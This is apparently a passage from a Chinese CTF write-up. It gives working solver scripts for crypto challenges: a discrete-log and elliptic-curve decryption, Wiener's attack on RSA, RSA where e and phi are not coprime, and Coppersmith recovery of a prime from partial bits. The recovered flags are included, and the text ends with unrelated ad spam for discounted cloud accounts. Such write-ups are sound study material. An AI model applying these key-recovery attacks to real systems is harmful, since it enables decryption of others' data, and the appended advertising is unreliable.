B=0x1889c9c65147470fdb3ad3cf305dc3461d1553ee2ce645586cf018624fc7d8e566e04d416e684c0c379d5819734fd4a09d80add1b3310d76f42fcb1e2f5aac6bcdd285589b3c2620342deffb73464209130adbd3a444b253fc648b40f0acec7493adcb3be3ee3d71a00a2b121c65b06769aada82cd1432a6270e84f7350cd61dddc17fe14de54ab436f41b9c9a0430510dde
G=Zmod(n)
g=G(g)
B=G(B)
b=discrete_log(B,g,operation='*')
# print(b)
# b=523395080617584542626887374797915530377197776414307699064494325754883865689240606662282052952769155869279302851357127396057956141700522707614969003724858649469855458912748021620773222294584347455737042066389082761054791847391943575954645806724433924897674867376454396257875249718213145700160788809038411884417511593659507
print(pow(g,b,n)==B)
shared_secret = int(pow(A, b, n))
print(shared_secret)

p=6864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574028291115057151
a=-3
b=1093849038073734274511112390766805569936207598951683748994586394495953116150735016013708737573759623248592132296706313309438452531591012912142327488478985984
E = EllipticCurve(GF(p), [a, b])
# print(E)
G=E(6205877918333770287323403670543661734129170085954198767820861962261174202646976379181735257759867760655835711845144326470613882395445975482219869828210975915, 3475351956909044812130266914587199895248867449669290021764126870271692995160201860564302206748373950979891071705183465400186006709376501382325624851012261206)
pa=E(2131916734759224323822132103713450942372127857975491448998753734796387810139407713081623540463771547844600806401723562334185214530516095152824413924854874698, 1690322613136671350646569297044951327454506934124656653046321341087958059722809120500999091493097880695888777563486212179798037350151439310538948719271467773)
p1=E(2032638959575737798553734238953177065671021112450002471824225734491735604600003028491729131445734432442510201955977472408728415227018746467250107080483073647, 3510147080793750133751646930018687527128938175786714269902604502700248948154299853980250781583789623838631244520649113071664767897964611902120411142027848868)
c=E(6670373437344180404127983821482178149374116817544688094986412631575854021385459676854475335068369698875988135009698187255523501841013430892133371577987480522, 6648964426034677304189862902917458328845484047818707598329079806732346274848955747700716101983207165347315916182076928764076602008846695049181874187707051395)

p2=shared_secret*p1
m=c-p2
print(m)
x,y=m.xy()
print(bytes.fromhex(hex(int(x))[2:]))

2、RSA 大冒险2

好耶又是大冒险

HINTS:

Challenge 3: p泄漏的位数不够多导致coppersmith方法解不出来那么有没有什么办法能够扩大coppersmith的界呢注意coppersmith方法使用了LLL算法那么这个界和格基又有什么关系呢

challenge1 wiener_attackwiener_attack_easily!!!


import hashlib
def rational_to_contfrac (x, y):
    a = x//y
    if a * y == x:
        return [a]
    else:
        pquotients = rational_to_contfrac(y, x - a * y)
        pquotients.insert(0, a)
        return pquotients
def convergents_from_contfrac(frac):    
    '''
    computes the list of convergents
    using the list of partial quotients 
    '''
    convs = [];
    for i in range(len(frac)):
        convs.append(contfrac_to_rational(frac[0:i]))
    return convs

def contfrac_to_rational (frac):
    '''Converts a finite continued fraction [a0, ..., an]
     to an x/y rational.
     '''
    if len(frac) == 0:
        return (0,1)
    elif len(frac) == 1:
        return (frac[0], 1)
    else:
        remainder = frac[1:len(frac)]
        (num, denom) = contfrac_to_rational(remainder)
        # fraction is now frac[0] + 1/(num/denom), which is 
        # frac[0] + denom/num.
        return (frac[0] * num + denom, num)

def egcd(a,b):
    '''
    Extended Euclidean Algorithm
    returns x, y, gcd(a,b) such that ax + by = gcd(a,b)
    '''
    u, u1 = 1, 0
    v, v1 = 0, 1
    while b:
        q = a // b
        u, u1 = u1, u - q * u1
        v, v1 = v1, v - q * v1
        a, b = b, a - q * b
    return u, v, a

def gcd(a,b):
    '''
    2.8 times faster than egcd(a,b)[2]
    '''
    a,b=(b,a) if a<b else (a,b)
    while b:
        a,b=b,a%b
    return a

def modInverse(e,n):
    '''
    d such that de = 1 (mod n)
    e must be coprime to n
    this is assumed to be true
    '''
    return egcd(e,n)[0]%n

def totient(p,q):
    '''
    Calculates the totient of pq
    '''
    return (p-1)*(q-1)

def bitlength(x):
    '''
    Calculates the bitlength of x
    '''
    assert x >= 0
    n = 0
    while x > 0:
        n = n+1
        x = x>>1
    return n


def isqrt(n):
    '''
    Calculates the integer square root
    for arbitrary large nonnegative integers
    '''
    if n < 0:
        raise ValueError('square root not defined for negative numbers')

    if n == 0:
        return 0
    a, b = divmod(bitlength(n), 2)
    x = 2**(a+b)
    while True:
        y = (x + n//x)//2
        if y >= x:
            return x
        x = y


def is_perfect_square(n):
    '''
    If n is a perfect square it returns sqrt(n),

    otherwise returns -1
    '''
    h = n & 0xF; #last hexadecimal "digit"

    if h > 9:
        return -1 # return immediately in 6 cases out of 16.

    # Take advantage of Boolean short-circuit evaluation
    if ( h != 2 and h != 3 and h != 5 and h != 6 and h != 7 and h != 8 ):
        # take square root if you must
        t = isqrt(n)
        if t*t == n:
            return t
        else:
            return -1

    return -1

def hack_RSA(e,n):
    frac = rational_to_contfrac(e, n)
    convergents = convergents_from_contfrac(frac)

    for (k,d) in convergents:
        #check if d is actually the key
        if k!=0 and (e*d-1)%k == 0:
            phi = (e*d-1)//k
            s = n - phi + 1
            # check if the equation x^2 - s*x + n = 0
            # has integer roots
            discr = s*s - 4*n
            if(discr>=0):
                t = is_perfect_square(discr)
                if t!=-1 and (s+t)%2==0:
                    print("\nHacked!")
                    return d

def main():
    n=148342002873808146500793452399819719376126681693611461796000058541821412420394838876787721346346209198302355763262284081164299946551120575661120051594513595249957276083317356002159364160762712392281244655154831591718339040108160487700321525295077142660898179273731738010066971680587132952048239943387332505079
    e=66982778292168572417238959451986420180738249185760381137327950254695735600817462227495181305568035370493964270333214442983119212525623878115801326524559637943250813944474681233798020965993352975344790714894682227796682348772981339748542688488163803012350927192745965347475835932335192520048341823960406372987
    c=0x94f26f630f997774f87c19c37ea6e7e67d3c34456ae327d3b3b423ea5e63a469d8d1acb4e891716b1e0db4c46678786bba8219d13152036dc0507f06913dd37f0f29046e3aeeefb2b5821385f595ce561d75e733a69e8c34ca16d8141dd91a340afdd44d48f4817cbbed9f48f1ce07b91ba43e52cf8aec60e68efcb389477517
    d=hack_RSA(e,n)
    print ("d="+str(d))

    m3= pow(c,d,n)
    print((bytes.fromhex(hex(m3)[2:])).decode())

if __name__ == '__main__':
    main()
#wiener_attack_easily!!!

challenge2 e与phi不互素同时n可分解得到how_to_solve_e_and_phi_uncoprime_condision

from Crypto.Util.number import *
#from challenges import chall2_secret
chall2_secret=b'aaaaaaaaaaaaaaaaaaaa'
def next_prime(p):
    k=1
    while True:
        if isPrime(p+k):
            return p+k
        k+=1

class RSAServe:
    def __init__(self) -> None:
        def creat_keypair(nbits, beta):
            p = getPrime(nbits // 2)
            q = next_prime(p+getRandomNBitInteger(int(nbits*beta)))
            N = p*q
            phi = (p-1)*(q-1)
            while True:
                e = getRandomNBitInteger(16)
                if GCD(e, phi) == 2:
                    break
            d = inverse(e, phi)
            return N, e, d
        self.N, self.e, self.d = creat_keypair(1024, 0.25)
        self.m = chall2_secret

    def encrypt(self):
        m_ = bytes_to_long(self.m)
        c = pow(m_, self.e, self.N)
        return hex(c)

    def check(self, msg):
        return msg == self.m

    def pubkey(self):
        return {"N":self.N, "e":self.e}

r=RSAServe()
print(r.pubkey())

print(r.encrypt())


import gmpy2
from Crypto.Util.number import long_to_bytes,bytes_to_long

c=0xed825cc5085d1ac59ee8997179a21eaed41f7ee9936962f6b557905d238f05f60ee4768ec9b41042ec86299679fa92bd83abe948e6ae7962b6b3dcd5f065201e64541d612b3bc567bc57dbd41aebf289940dc92f2ec797dd09d4d43a14ab5e1019aedeee8da9d0c5af7baff78218d0ac2a7a43f5e0794f18c8b59ea075ee2720
n=168100240469698405881264935471383682571254875687912017292111664204813945780574352689309197254832725444414757585760198278010452053971463101391715035372054331170831891540450510259209400813949901297544670313245192011846591657117165799463005906508513754039004473297935365563307552372873646156052264191782430326803
e=50738

p = 12965347680247468237627843349232461609867419431254636372349375615010729510144049438067946296986735084763740880940809332272917314132332245048697285281396017
q = 12965347680247468237627843349232461609867419431254636372349375615010729510143960531877232932904254589090197572827794355054502021037717572468262654642915459

n = p*q
t=gmpy2.gcd(e,(p-1)*(q-1))
e = e // t
d=gmpy2.invert(e,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(m))
m = gmpy2.iroot(m,t)[0]
print(long_to_bytes(m))

#how_to_solve_e_and_phi_uncoprime_condision

challenge3 p高位泄露位数不够修改epsilon扩大coppersmith的界。得到now_you_know_how_to_use_coppersmith

from gmpy2 import *
n=114963109442145598387635559135581372346317688237181993504050633647667174413149346216664514364072320377331790864049912675290334734388295018566294999238534079413495512070726809682264007847004213702131027484942770915243408715584170464175631642712850662150213321851132996860680717902449130734396032551769433782533
p0=814332085990917760162714775431011765681241246214863244348335546311530979220999<<253
unknown_bits = 253
PR.<x> = PolynomialRing(Zmod(n))
for bit in range(5,10):
    fx = p0 + x*2^bit 
    for i in range(2**bit):
        f = fx + i 
        f = f.monic()
        kbits = unknown_bits - bit
        p1 = f.small_roots(X=2 ^ kbits, beta=0.4,epsilon=0.01)
        if p1:
            print('p1=',p1)
            p = p0 + int(p1[0]) * 2 ^ (bit) + i 
            assert n % p == 0
            q = n // p
            print(p)
            print(q)
            break

得到
p=11786651696233774366893321868176669744817713727300628463452728408338399795938410062375938838547619943623770468997956530127723049605965236441746920491704997
q=9753669863586460253570995258457077721957911922821010057127234431459241817118908452459698421383246750455788953725737682621782596450596648247714844614987489

from gmpy2 import *
from Crypto.Util.number import *
n=114963109442145598387635559135581372346317688237181993504050633647667174413149346216664514364072320377331790864049912675290334734388295018566294999238534079413495512070726809682264007847004213702131027484942770915243408715584170464175631642712850662150213321851132996860680717902449130734396032551769433782533
e=65537
c=0x5d0503a2b4ffbbf8b20446023d21fbd2ad58e6b97abe8ff1490f6bcbed93ee8e4ad243a8d082575940b84d7ad5d1ff6cfe80369ef5898dae062b3b9a6ac06a86288681574a3502695b2d9226b116b69069eefcbf0e13cdc1f3c30953e18c1f0f22928b2325e124795b4c52ec0224ccab6a3bbb4e5254d87640f6066934900b56
p=11786651696233774366893321868176669744817713727300628463452728408338399795938410062375938838547619943623770468997956530127723049605965236441746920491704997
q=9753669863586460253570995258457077721957911922821010057127234431459241817118908452459698421383246750455788953725737682621782596450596648247714844614987489
d=invert(e,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(m))

misc

1、Tunnel

Just a very very very safe tunnel.

分组字节流搜索hgame找到flag

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6